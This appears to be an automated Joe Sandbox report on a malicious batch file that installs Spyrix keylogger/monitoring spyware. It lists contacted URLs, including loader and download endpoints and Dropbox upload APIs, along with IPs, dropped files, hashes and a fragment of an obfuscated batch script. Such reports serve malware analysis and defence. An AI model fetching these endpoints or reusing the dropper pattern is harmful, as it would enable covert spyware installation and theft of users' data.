http://.jpg	qrl.exe, qrl.exe, 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000049.00000002.2606650716.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004B.00000000.2579396035.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004E.00000000.2603252461.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	false
https://api.dropbox.com/1/fileops/move	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://cdnbaynet.com/loader/link.php?prg_id=sfk77	curl.exe, 0000000E.00000002.1613915870.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	false
http://www.actualkeylogger.com/help.htmlhttp://spyrix.com/manual.phpU	spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://cdnbaynet.com/loader/link.php?prg_id=sfk&A	cmd.exe, 0000000A.00000003.1598991147.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeXsC	curl.exe, 00000011.00000002.1867688496.0000000002AF9000.00000004.00000020.00020000.00000000.sdmp	false
https://securcdn.com/loader/link.php?prg_id=sfkupowershell.exe	[space]= .exe.6.dr	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeG	wscript.exe, 00000039.00000002.2420789675.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	false
https://www.certum.pl/CPS0	[space]= .tmp, 00000016.00000003.2457362812.0000000003408000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003321000.00000004.00001000.00020000.00000000.sdmp	false
https://api-content.dropbox.com/1/chunked_upload	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://www.dropbox.com/1/oauth/authorize?oauth_token=open	spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://spyrix.net/dashboard/prg-actionsuu	qrl.exe, 0000004B.00000003.2614091454.00000000018DB000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004B.00000002.2616238123.00000000018DD000.00000004.00000020.00020000.00000000.sdmp	false
https://spyrix.net/dashboard/prg-actionsG	qrl.exe, 0000004E.00000002.2658435418.0000000000E10000.00000004.00000020.00020000.00000000.sdmp	false
http://www.dk-soft.org/	[space]= .exe, 00000013.00000003.1870585486.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000013.00000003.2474200016.0000000001FB8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003200000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	false
http://filedn.com	[space]= .exe, 00000007.00000002.1804766822.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp	false
https://g.live.com/odclientsettings/Prod/C:	svchost.exe, 00000008.00000003.1559425141.00000274054E1000.00000004.00000800.00020000.00000000.sdmp	false
https://api.dropbox.com/1/fileops/move?	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://spyrix.net/dashboard/prg-actionsOMEPATH-	qrl.exe, 0000004B.00000002.2616089382.00000000018D0000.00000004.00000020.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeN	WMIC.exe, 0000001E.00000003.1940599499.0000000000975000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000001E.00000002.1941048881.0000000000975000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000001E.00000003.1940506007.0000000000975000.00000004.00000020.00020000.00000000.sdmp	false
https://api.dropbox.com/1/account/info	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://spyrix.net/usr/monitor/iorder.php?comp_id=	[space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	false
https://cdnbaynet.com/loader/link.php?prg_id=sfk8A	cmd.exe, 0000000A.00000003.1614181304.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exec	WMIC.exe, 0000001E.00000002.1940760617.0000000000940000.00000004.00000020.00020000.00000000.sdmp	false
https://cdnbaynet.com/loader/link.php?prg_id=sfkWinsta0	cmd.exe, 0000000A.00000003.1598991147.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000002.1613915870.0000000002D30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000002.1613844777.0000000002B30000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.mic	is-2HD8H.tmp.22.dr, is-4EDJE.tmp.22.dr	false
https://www.spyrix.com/purchase.php?prg=sfk	spkl.exe, 00000038.00000003.2422306843.00000000044CC000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2691175840.0000000000915000.00000040.00000001.01000000.00000014.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
167.114.14.168	swtb-download.spyrix-sfk.com	Canada	16276	OVHFR	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
158.69.117.119	spyrix.net	Canada	16276	OVHFR	false
142.250.181.228	www.google.com	United States	15169	GOOGLEUS	false
167.114.14.170	cdnbaynet.com	Canada	16276	OVHFR	false
95.181.182.182	cl-e0469d03.edgecdn.ru	Russian Federation	200557	REGION40RU	false
23.109.93.100	filedn.com	Netherlands	7979	SERVERS-COMUS	false

Private

IP
192.168.2.8
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523869
Start date and time:	2024-10-02 06:10:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	90
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	D0WmCTD2qO.bat renamed because original name is a hash value
Original Sample Name:	500329d1eeead6e6b7b1570f637138e91f0e28a4febeae208631db98750312ee.bat
Detection:	MAL
Classification:	mal100.troj.evad.winBAT@160/1077@15/9
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 192.229.221.95, 184.28.90.27, 142.250.185.142, 172.217.18.3, 66.102.1.84, 34.104.35.123, 172.217.16.200, 172.217.16.136, 172.217.16.202, 142.250.185.106, 216.58.206.74, 142.250.181.234, 142.250.186.138, 172.217.18.106, 142.250.185.170, 142.250.186.106, 142.250.185.202, 172.217.23.106, 142.250.184.234, 142.250.185.138, 142.250.186.74, 142.250.184.202, 142.250.185.74, 142.250.185.234
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, www.googletagmanager.com, e16604.g.akamaiedge.net, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target qrl.exe, PID 3444 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:11:18	API Interceptor	164x Sleep call for process: powershell.exe modified
00:11:22	API Interceptor	2x Sleep call for process: svchost.exe modified
00:11:42	API Interceptor	17x Sleep call for process: [space]= .exe modified
00:11:58	API Interceptor	2x Sleep call for process: WMIC.exe modified
00:12:51	API Interceptor	1x Sleep call for process: spkl.exe modified

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022097480591454
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUA8:RJE+Lfki1GjHwU/+vVhWqp5
MD5:	0A344EB95D0ABB0EBB62F2DA4C7C8260
SHA1:	5D83D4789D72D6A9BEC6EABCA24A9ECC0397B714
SHA-256:	BCD0CB3830CB0EDC7660CC9E3B36DF0A66F5006D4550F7D3D46DF6E046A0C805
SHA-512:	F51E573A8C78593B0846BBA088A87EC61B6B3926ACC214623E08B553CFE0E6F24FFEFB99A2946FC7B66C18B376EE0CCB7823DE8DF79CF367862572F4693AC142
Malicious:	false
Reputation:	unknown
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7b1c7063, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433181702278478
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:bazaHvxXy2V2UR
MD5:	C8326A79D2EB109813C6D50DFB0BCEF8
SHA1:	691611ECF772665AC5C93D99843406B344103D9E
SHA-256:	6FD3B34758B5BA0D7F7ED902137C5B1056B7B9811BCCFE4E983FE74520BB2284
SHA-512:	BC775966F0A70B90EB9024315417CB262907817EE3AE6CE294591497DE5AD2A28B4D19B71C3B82E32540E7D06B3F45721CC5B61A4DDD0151722D1066FA7F8166
Malicious:	false
Reputation:	unknown
Preview:	{.pc... ...............X\...;...{......................0.x...... ...{s......\|..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................Vt?......\|....................Bt.....\|...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08124602456502025
Encrypted:	false
SSDEEP:	3:MXlKYeEoUpnXql/nqlFcl1ZUlllldRzu3iplXallGBnX/l/Tj/k7/t:MXlKzRw6l/qlFclQ/ldz3Q254
MD5:	6189A39D4BCDDF16F34BCBBB971B4BE1
SHA1:	FE3BB37CD15A08E9E5CAE7E62DA4AD73A7DE0A97
SHA-256:	04AC52CB0D7B933D099309E301FDA062B1BF91EEEBB09F89EBBD6B3E8CF0CD8F
SHA-512:	90176B6136AD263FF4F5C4CF51405F97CB7CF9C12D75B5AD8065E910C6222876EBD968853CA981C4167C08B37D8E039AD13C5853554BDE7C5A9DBDB3329B77B5
Malicious:	false
Reputation:	unknown
Preview:	/. ......................................;...{.......\|... ...{s.......... ...{s.. ...{s.P.... ...{s...................Bt.....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	457728
Entropy (8bit):	6.59955980299879
Encrypted:	false
SSDEEP:	12288:oYP3U+DowYPZOobyfwOgM2evuRTQ8r5e:3knwGZO4ZBevgTQ
MD5:	5E952525D9379E001F1714DE9E87B50D
SHA1:	45A1F15E62D3BEBF80BFDE69B992448DA09369FA
SHA-256:	81DE9F4EE9164358163C7F2200522E5C518D649ED6868CC6F27DB2B831F42DA4
SHA-512:	FCCEFD5CEFA59AAE1CCF1DF61907720BFB753AA1A6094DCB9225BA0110172103980C77708B9BB36F9D329B890ECC3F279AEE325A780308E9AC127EDC99CF8D0D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 3%, Browse
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..................................... ....@..............................................................................(...0...L.......................e......................................................\............................text............................... ..`.itext.............................. ..`.data...T.... ......................@....bss.....5...@...........................idata...(.........................@....edata...............H..............@..@.reloc...e.......f...J..............@..B.rsrc....L...0...L..................@..@....................................@..@........................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\cfg.cmd (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5329
Entropy (8bit):	5.379707763753434
Encrypted:	false
SSDEEP:	96:nsPCuKyBy4PRWZSx84GmqUIa+zHBZclQmmUc6EYQZCh1t64R8vVIa2akG2T:xuVr5WExXG6UvUmUbrQIvtO9INakGc
MD5:	CD2AC50D3746B1A9663C4D2BF7EA4D55
SHA1:	909F5CFEB390B67FEFC6CD1786760FEBDBB2B875
SHA-256:	F9C158AEFD53582E68F7417E6326620AE4FDE859EE6D02B263EEA838A2C6F136
SHA-512:	E47073C412A92325DA84516358B43CC855B67FA6E44D092005143B35EA021B72BF8607B619F179706E3B66332A24EEB3910E1AF69076D29527C60DFF9EFF8A5F
Malicious:	false
Reputation:	unknown
Preview:	rem kezd4t79qxno0lbfeql5y0mu8g6iesyetjcseogfwt472kiwiubb15brfmh2wac96vhv0vnd2020j6zevgvnwwpffvshcpj0zglw700radviz4u8q9aq6k9n..@echo off..rem 000stm4gugwjkgbh428m90yr2..rem ce1k7rdsfo832vwc3jaouwf6whuhamo859077bf249yhqvmg1kd492xy1n0laxcjqawev0lgwfar618zidzyfwk96n90dum9le1hlxjvxajsku4sr3uiuy0..rem dsawc47q7b7rg3lyyyjwoquee0ll0ap5r0099bt1715bh4jezmssc1nm4xfnyr40tu10yayd38i6wla70zmf5096xpoyd018bdbpms0ennjdswzri1jyzqel..setlocal enabledelayedexpansion..rem 2e6crit365pi9pdx3kzzixkz0bxvti57alc..rem tbd2b125fv5tqy0wwb0v1woi0mnrpd6l8..rem 6g5up6bf14gd8ckrvtcxni6x4495olhkrlg706b9nszf6urghw484qcu0hf29s7vhqna1o5uloku3qzxd8591ivyo0idphj1jw9y22y0fjgsjtjodo855g0r..set iniFile=%ProgramData%\%prg_id%\temp\logger.ini..rem rrje26b6rkhrhihlujks437km32ntyjjtcvi63..rem 5qn9uxfpef8xq5039f88vk9umpfl9dj9r7apxc..rem ioq4mok81bx2zs3knaunm2b4mcsjotkyq0rwnmtauk20e7hftlruhy0eoxwbq17088ic70epr0ikd4ns0o03tu98y18pwfn2vxzg4rpi4bn3em187jjj6y1o..set getValue=0..rem 0h5hrq1blurny0ai0ueen0k8mw0cgjlrjajonp24yq2pewj7tdwn9c2e

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.084962500721156
Encrypted:	false
SSDEEP:	3:sLvovFN/tQZn:EItK
MD5:	70C758B45D366FDD5BA4F0D0D1088B94
SHA1:	CD0CBB3DF6F011B41B24F8E1CA805469F234F044
SHA-256:	DCF52739862C4FBF4B4C04F470F9F62B46E308E9E5FA87CDFAD1DC66E753DF16
SHA-512:	5AF2BFE2166E3578D3BADA9738CD0C769B2F5A2B9E84B812C7193E3A88163B32B94EB36DE83347A8E7DC75079608102C0CF05293E647132C0F633F67AAECC446
Malicious:	false
Reputation:	unknown
Preview:	timeout 6..dashboard.url

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.url (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"https://dashboard.spyrix.com">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	54
Entropy (8bit):	4.722027548259444
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjzPK/tWwMdyTHn:HRYFVmjzPAt0dyTH
MD5:	D1CA0FE113AE79394ECFA5225B06D03A
SHA1:	2EFEB00BC64706B390FA188776A423DD871AE842
SHA-256:	A9A52C2A16DAB18ED9E869CAE2F486327040572461E05FB8F774DC543A82CD45
SHA-512:	BFDE031A1C39770EEAF27F0874B01C99BCA6D3EAB2D55B9FABFD28CAD2EF6D56387510548DFCA3F575D7341B16B05961C00083E19AB33A07A84343B257CB385A
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="https://dashboard.spyrix.com"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Discord.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.954587575587282
Encrypted:	false
SSDEEP:	24:mcyV2d56miiGbKZFG8cZWvl24pZYEYmFMQ05lOo4TTTTTTTTTT3:mcJDbGua8cZOlBUEYA906o4TTTTTTTTX
MD5:	A6AF58DFDF7BCB6AE474DC731AEB0819
SHA1:	353D993129D8C0060BDAFF6B32DACCD1D91F37DE
SHA-256:	62B935FEE25DC4480962834A3AC9B21E285C75FA25EB8BF5288BE4EAEEA8F118
SHA-512:	21259178D3D551E232C63B89DA9F2613F0CB0FF6D4D33A150DDAF6DED6795E277845359ADF228BE2741639838F78DFA56554E0D26A77091BC09361ED18611330
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ....................................................................~e.....r=/..G8.............................................t@3..........bL..fOb.............lZx.ta..s`..t`..o\..kY..lY..lX..mX.\L>.eP..pX..iRX.........r`D.m..o..m..\|g..yg..yg..zf..zd..u_..oZ..v_..rZ..jTZ.........}j\.r...j...m..v..q`..o]..o\..q]..p..v`..pY..t]..lV[..........p[.q....................................rZ..q\[.........s[.u..........................................r[..r][.........x[.w..............se..........q`..............q[..r^[.........}[.x.......................................mX..wc[..........[.~........................................t^..yd[..........[........................................k..}g..ua[..........[.............................i..~i..uaZ..........Z................v..r..u..o..m..n..~i..vcY..........$......................y..w..s..n..k.zg$.............&..Z..W..X..X..X.~X.zX.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Discord.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	865
Entropy (8bit):	7.700995430791155
Encrypted:	false
SSDEEP:	24:gYFXmor3S32jSx6mJYuknx/vNdapyefgQP71YZbHYG:bXm3SwV12x/vPapyCf710bHYG
MD5:	781F31C7BDF09937698ABFE875672A7B
SHA1:	9ED7E05BAB393E6D09DF2C6B8970805F088586B4
SHA-256:	A48944491AD937CA359AE2F8C57070CF69DC58B6F363F8E66B8C2EBE9F8DFB9A
SHA-512:	B7810E56C63EDB096670841C28A70DF441F82741D16439D2CDA39AA3BBB65711379383FE089887DCA8005168F0B7C5B351CF8552DCD6DD4C4FC47D10D9261690
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...(IDATx..ilLQ...}....m..%..........!.A.5>..H?...^..PK..,.KJ\|..B,...Z.h......3..w.u..WN&..{....Y......D.x`..l..a...!D2.(..I..z.z......@).(.K. .K.m..)R'>H..R..7.mX.....XZY...b\...'....-[.p@x.......#.o........G..).4.Pm.p..I......w..fL..d<..t.9.PR.P....fK...4...3.... ..$v.I..hk79...DL..5...(..@..i..p}f/....6..U.c!iq.......9..Q ...(....H.4r..y>.....(X.....Q...b).'....b..a.c.'..E{..L...q.>~L.6....k.a....0.kM0'.......Z.Q..."Z..KA..{..A#:.7.6(..\|...U..`e.......l\>...../:xYu.........rWW..jA..#..O..!#..ia.8...c...Y..!........eSR..%wtBCF...>kb........f..:.0......M\.m.o..".Qco...E...?\|:i.....U._..L.."Q....q.`ILU...)\80=.X..fJ8..M...(..p.6......'...x......8F......8...R.O.O.RZ(...F.wK@..S.....?k...\a..._>4.<...e#'l .7.53.....Y..jk..8.....3.dK..1.....B..p.9......-.-F.[...2C.n.~../V...$iB....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Facebook Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5511716867819327
Encrypted:	false
SSDEEP:	24:BifyRHHHHHHHHHHHlKDAYHQhY4O4ZYwg7iTT5:wfyHHHHHHHHHHHgDAMQhY4O4ZYwg7iT1
MD5:	F311592151DC7F196CDBC8AF6D426B28
SHA1:	159C11940E4F380F62D56AD12745600EDBEF1E15
SHA-256:	03290429CE68AFD7507C177C9446EFBCC47CFD040DECA70105988D0057919317
SHA-512:	A3259406480C89E73B408DBFDA00B8CBE5F2B168A1C46F6FE73A228B167CDC532FFBB315BD027B130634B8A248F488BD2ADA22CA5A45DF2AD3E728D3FA5DA832
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................l.(.l...l...m.?.m.`.m.\|.k.y.k.].o...............................r.A.q...q...q...q...q...q...q...q...q...o.7.....................u...u...u...u...u...u...u...u...u...u...u...u.o.............y.a.z...z...z...z...z...z...z...z...z...z...z...z...z.^.........~...~...~...~...~...~...~...~...~...~...~...~...~...~.........\|..........m.......................3........................\|..............x.......9.......'.............................................................................8...................................8.............................................................................'.......9.......x.......................................8.......................m................H...........................................................G..........................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Facebook Messenger.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	524
Entropy (8bit):	7.51499904676362
Encrypted:	false
SSDEEP:	12:6v/725PQZeziVpf6wu0rWQ6Rfcho1S01oS77Qtytds:zJQYgB6wnrWQ6ih0WSQtyns
MD5:	6A3D971DD10943973AD7CFF8776678EE
SHA1:	1FC9EA38435DBA93A64B9E48C7A3CCDED3D92333
SHA-256:	EDB59D1E30DEACB83DCCB9CA2D7F83FC52066CAFC7A8E0A633B9B0DD01CDA360
SHA-512:	B5C8C60578504EDD4EDDF7C5A9CC17BA3D04773CA200D5A8189D22C06BAA9081382F6D3FE076771F385AF7DAC51196AC4BFEFF1852A5E16BBF9AE6D1599FFE0E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..OHTQ...w.p.".DP........$Z$.ZD......FB.A`.`.%r.b.....E.T.....I.h!R..B(*2....o.hP3..y....q.w.u....xH.S^..}'.B......q..nY1K\Q....qW.......D.se......67......,...r.8.[......L..-....n...[....3..K.....N.q.q.f.n.$....k`..DGaf....Z3..<0...u..w%.A.^...Y....p.-.U.t...p...s.E).....:.[T.a.&(..'S......B..B.%u...T=....w..{....{..T........t..^...U.u....pbm.l...G....8.8c..EgT............R..G.w..-t...,......a.....]......t...]2.!....=..7...W.......X.......7.#.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Line.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	2.89668669623498
Encrypted:	false
SSDEEP:	12:dDWdAyhFGViosMZNrBK5aTeiVIrSXgXdaguWUl:hxyTGVihMPBK52edrSXgtbUl
MD5:	2102DF54739C5E5FFEDDA31CE18A430E
SHA1:	B62D93ED6661FE4E0080D7CD575D0F81E8640D9B
SHA-256:	2DFDE998FEAC91E72BFDCDDF174000539C525233D4E3EA4744BD08EF70E6C9C0
SHA-512:	654F18D0C0F4309A8C559E4E0CB2D4497AABE9D9D5BDC51EA100CAF0455FC26702E0AA8390B3D7113CD7F752391B9A3283491B5A1623E0060F302EF2A816B7ED
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ............................"...........................................................".......................................................................................................................................................................................................................@.@.............9.9.............................................................................................................................................................................................................................................................................................................................................................................................................................H.H.........................................I.I.....................^.^.................................^.^.......................................................!.!...........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Line.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.403940932243279
Encrypted:	false
SSDEEP:	12:6v/7H2DBCOIXU00QhP+CCTV44lVCcK8ajSR64+eg:C2MXURCCTCXcK8286Heg
MD5:	49CBAB461388899937D45CE5F40FEA6F
SHA1:	4333CFB198B2F8078D38159AE6F37CF2056AC6A9
SHA-256:	30DBAE48834681F6F8E6A6867B5A83582DFBCA8E61C51C8A189687055F1A9042
SHA-512:	5A0C295DC41860B4F650D82B43EFBB4F7369A7DCC6844F8837DA8708F531A4D4C17749152536219492ABAA5667FFC63C0547AB2BD257068CF9BCDD9C47492595
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..?K.P...3..?C.qi.T.E...,Up..kgg...b.......A.....8..."h...DDA.1...XJmKz..<...wo.... ....M..V.....o.2Q..e.#<`....E..l.....Y......m#..4...Fb2..D..Q7).K...b.i.....y...9`..^._Gv...a..T.j......1..D[.[...!}`.%....5........k...Y.....!z.u....\2!2....1 .H-.P\I)!......2B.!.[......`+....].F.1....F.I...(/..>}?.....v....w.C6C.H...E..w.v.S.q....?I...a......l<#~.....U....U.^.Q.( ~.G.thG/.....,R.).U.K?9.u........g...L_..wt../.....2.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Mail Agent.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.20340524330819
Encrypted:	false
SSDEEP:	12:F5e2nwbQh05puMPaz5NV9/COvwqsvuKMBwnwfqHtJZcaHqtMbHgGomu/HAmlMscR:aCupu0az5l5R4t7bHqkAN/H7WrefjU8W
MD5:	6974D5655CF050D09AEDEFB0A870B09C
SHA1:	2C87D6EFB277163490FFF31C594A5127E8D0B509
SHA-256:	A5761AE112ECB0B8CA16EDD77F9B112D983D7F8B0C229A8099E1A35B2E4F6993
